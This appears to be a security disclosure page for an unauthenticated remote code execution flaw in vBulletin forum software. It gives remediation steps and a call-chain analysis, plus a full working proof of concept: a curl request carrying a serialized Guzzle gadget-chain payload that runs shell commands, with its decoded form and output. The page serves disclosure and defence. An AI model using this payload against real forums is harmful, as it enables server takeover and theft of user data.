The shell above is a simulation. Nothing you type leaves this page. Try id, ls or help.
What is vBulletin?
vBulletin is forum and community software. In their own words, it is the world leader in forum and community publishing software and serves over 40,000 online communities.
Proof of concept, run as a guest
Simulated outputOverview
vBulletin2Shell is an unauthenticated remote code execution vulnerability in vBulletin, the forum software. A visitor who is not logged in sends one POST request, and the server runs any PHP function or operating system command they choose, as the web server user. The output comes back in the same response.
The root cause is a PHP object injection (CWE-502). A value from the request reaches PHP's unserialize() with no class restriction, and classes that ship with vBulletin turn the injected object into code execution.
The web server user can read the forum's configuration file, and through it the database: private messages, email addresses and password hashes.
Remediation
vBulletin has published a patch note. The patch makes unserialize() refuse all objects, which breaks the attack.
Fixed versions:
- vBulletin 6.2.4 Patch Level 1
- vBulletin 6.2.3 Patch Level 1
- vBulletin 6.2.2 Patch Level 1
vBulletin Cloud is already safe. vBulletin patches it automatically, so Cloud admins don't need to do anything.
How to fix
- On 6.2.4, 6.2.3 or 6.2.2, download the patch for your version from members.vbulletin.com/patches.php and upload its files to your server. On an older version, upgrade to 6.2.4 Patch Level 1.
- If you can't patch straight away, use a WAF to block
POSTrequests to/ajax/render/contententry_editor. vBulletin also accepts the route as aroutestringparameter, so blockroutestring=ajax/render/contententry_editorin the query string and the body too.
Check your version
View the source of your forum's home page and look for the generator tag. It shows the version without the patch level.
<meta name="generator" content="vBulletin 6.2.1" />
Technical details
The call chain, in order. Paths are relative to vBulletin's upload/ folder.
- #0GuestSends one POST request. No session.
- #1POST /ajax/render/contententry_editorGuests can render almost any template, and the POST fields become its variables.
- #2bbcode::parseWysiwyg()The template hands
conversation[rawtext]andconversation[attachments]to the BBCode parser. The text[ATTACH=CONFIG]n1[/ATTACH]makes it read thesettingsof fake attachment 1. - #3unserialize()Runs on
settingswith no class restriction, inincludes/vb5/template/bbcode.php. This is the root cause. - #4FileCookieJar::__destruct() → PumpStream::__toString() → HandlerStack::resolve()Guzzle classes bundled with vBulletin. A first object,
vB_Mail_Transport_PhpMailer_Smtp, makes the autoloader load Guzzle.resolve()then calls any chain of PHP functions on an attacker-chosen string. - #5shell_exec("id")Runs as the web server user. The output is base64-encoded into an error message (
Undefined constant "…") that comes back in the JSON response.
Proof of concept
A guest sends this one request, and the server runs the command id. Most fields just set up the template from step #1. The last one, settings, is the payload: a serialized PHP object, URL-encoded.
curl -s https://forum.example.com/ajax/render/contententry_editor \
-H 'X-Requested-With: XMLHttpRequest' \
--data 'editPost=1' \
--data-urlencode 'conversation[rawtext]=[ATTACH=CONFIG]n1[/ATTACH]' \
--data 'conversation[attachments][0][nodeid]=1' \
--data 'conversation[attachments][0][settings]=a%3A2%3A%7Bi%3A0%3BO%3A32%3A%22vB_Mail_Transport_PhpMailer_Smtp%22%3A0%3A%7B%7Di%3A1%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A0%3A%7B%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3Bb%3A0%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3BO%3A26%3A%22GuzzleHttp%5CPsr7%5CPumpStream%22%3A5%3A%7Bs%3A34%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00source%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A23%3A%22GuzzleHttp%5CHandlerStack%22%3A3%3A%7Bs%3A32%3A%22%00GuzzleHttp%5CHandlerStack%00handler%22%3Bs%3A2%3A%22id%22%3Bs%3A30%3A%22%00GuzzleHttp%5CHandlerStack%00stack%22%3Ba%3A3%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22constant%22%3B%7Di%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22base64_encode%22%3B%7Di%3A2%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22shell_exec%22%3B%7D%7Ds%3A31%3A%22%00GuzzleHttp%5CHandlerStack%00cached%22%3BN%3B%7Di%3A1%3Bs%3A7%3A%22resolve%22%3B%7Ds%3A32%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00size%22%3BN%3Bs%3A35%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00tellPos%22%3Bi%3A0%3Bs%3A36%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00metadata%22%3BN%3Bs%3A34%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00buffer%22%3BO%3A28%3A%22GuzzleHttp%5CPsr7%5CBufferStream%22%3A2%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CPsr7%5CBufferStream%00hwm%22%3Bi%3A16384%3Bs%3A36%3A%22%00GuzzleHttp%5CPsr7%5CBufferStream%00buffer%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A0%3B%7D%7D'
The payload and the response, explained
Here is the settings value after URL-decoding. \0 stands for a NUL byte, which PHP puts in the names of private and protected properties.
a:2:{i:0;O:32:"vB_Mail_Transport_PhpMailer_Smtp":0:{}i:1;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\0GuzzleHttp\Cookie\CookieJar\0cookies";a:0:{}s:39:"\0GuzzleHttp\Cookie\CookieJar\0strictMode";b:0;s:41:"\0GuzzleHttp\Cookie\FileCookieJar\0filename";O:26:"GuzzleHttp\Psr7\PumpStream":5:{s:34:"\0GuzzleHttp\Psr7\PumpStream\0source";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"\0GuzzleHttp\HandlerStack\0handler";s:2:"id";s:30:"\0GuzzleHttp\HandlerStack\0stack";a:3:{i:0;a:1:{i:0;s:8:"constant";}i:1;a:1:{i:0;s:13:"base64_encode";}i:2;a:1:{i:0;s:10:"shell_exec";}}s:31:"\0GuzzleHttp\HandlerStack\0cached";N;}i:1;s:7:"resolve";}s:32:"\0GuzzleHttp\Psr7\PumpStream\0size";N;s:35:"\0GuzzleHttp\Psr7\PumpStream\0tellPos";i:0;s:36:"\0GuzzleHttp\Psr7\PumpStream\0metadata";N;s:34:"\0GuzzleHttp\Psr7\PumpStream\0buffer";O:28:"GuzzleHttp\Psr7\BufferStream":2:{s:33:"\0GuzzleHttp\Psr7\BufferStream\0hwm";i:16384;s:36:"\0GuzzleHttp\Psr7\BufferStream\0buffer";s:0:"";}}s:52:"\0GuzzleHttp\Cookie\FileCookieJar\0storeSessionCookies";b:0;}}
It is an array of two objects:
- Object 0,
vB_Mail_Transport_PhpMailer_Smtp, does nothing by itself. Creating it makes vBulletin's autoloader load the Guzzle library, so the classes in object 1 exist. - Object 1,
FileCookieJar, is the gadget chain. When PHP destroys it, it ends up inHandlerStack::resolve(), which passes thehandlervalue ("id") through each function instack. stackruns from last to first, so the server runsconstant(base64_encode(shell_exec("id"))): runid, base64-encode the output, then look up a PHP constant with that name.
No constant has that name, so PHP throws an error that contains it. vBulletin sends the error back in its JSON response:
{"errors":[["unexpected_error","Undefined constant \"dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK\""]]}
Decode the base64 to read the command output:
$ echo dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK | base64 -d
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Other vulnerabilities found
Researching vBulletin2Shell turned up 6 more vulnerabilities in vBulletin. All were reported privately to vBulletin. Details stay private until each one is fixed.
| Vulnerability | CVSS | Status |
|---|---|---|
| Redacted until fixed | Redacted until fixed | Reported |
| Redacted until fixed | Redacted until fixed | Reported |
| Redacted until fixed | Redacted until fixed | Reported |
| Redacted until fixed | Redacted until fixed | Reported |
| Unauthenticated disclosure of all private messages via Broken Access ControlCVE-2026-137328 | 7.5 High | Patched 19 Nov |
| Unauthenticated disclosure of search results, including private messages, via IDORCVE-2026-137329 | 6.5 Medium | Patched 19 Nov |